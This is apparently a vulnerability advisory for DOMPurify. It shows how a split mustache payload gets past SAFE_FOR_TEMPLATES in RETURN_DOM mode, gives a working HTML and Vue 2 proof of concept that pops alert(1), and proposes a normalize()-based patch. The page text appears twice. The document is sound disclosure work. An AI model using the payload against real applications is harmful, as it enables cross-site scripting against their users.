Summary
| Field |
Value |
| Severity |
Medium |
| CVSS 3.1 |
6.8 (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N) |
| Affected |
DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |
SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
- Per-node — each text node is checked during the tree walk (
purify.ts:1179-1191):
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
content = currentNode.textContent;
content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' '
content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' '
content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' '
currentNode.textContent = content;
}
- Final string scrub — after serialization, the full HTML string is scrubbed again (
purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):
// purify.ts (simplified)
if (RETURN_DOM) {
// ... build returnNode ...
return returnNode; // <-- exits here, pass #2 never runs
}
// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
- Parser creates:
TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it
<foo> is not allowed, so DOMPurify removes it but keeps surrounding text- The three text nodes are now adjacent —
.outerHTML reads them as {{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
<script>
var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
document.body.appendChild(dom.firstChild);
new Vue({ el: '#app' });
</script>
</body>
</html>Impact
Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.
if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {
+ body.normalize();
+ let html = body.innerHTML;
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+ html = stringReplace(html, expr, ' ');
+ });
+ body.innerHTML = html;
+ }
+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);
bencalif Reporter
Summary
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N)mainat883ac15, introduced in v1.0.10 (7fc196db)SAFE_FOR_TEMPLATESstrips{{...}}expressions from untrusted HTML. This works in string mode but not withRETURN_DOMorRETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.Technical Details
DOMPurify strips template expressions in two passes:
purify.ts:1179-1191):purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.The
RETURN_DOMpath returns before pass #2 ever runs (purify.ts:1637-1661):The payload
{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}exploits this:TEXT("{")→<foo>→TEXT("{payload}")→<foo>→TEXT("}")— no single node contains{{, so pass #1 misses it<foo>is not allowed, so DOMPurify removes it but keeps surrounding text.outerHTMLreads them as{{payload}}, which Vue 2 compiles and executesReproduce
Open the following html in any browser and
alert(1)pops up.Impact
Any application that sanitizes attacker-controlled HTML with
SAFE_FOR_TEMPLATES: trueandRETURN_DOM: true(orRETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.Recommendations
Fix
normalize()merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes bothRETURN_DOMandRETURN_DOM_FRAGMENT.if (RETURN_DOM) { + if (SAFE_FOR_TEMPLATES) { + body.normalize(); + let html = body.innerHTML; + arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => { + html = stringReplace(html, expr, ' '); + }); + body.innerHTML = html; + } + if (RETURN_DOM_FRAGMENT) { returnNode = createDocumentFragment.call(body.ownerDocument);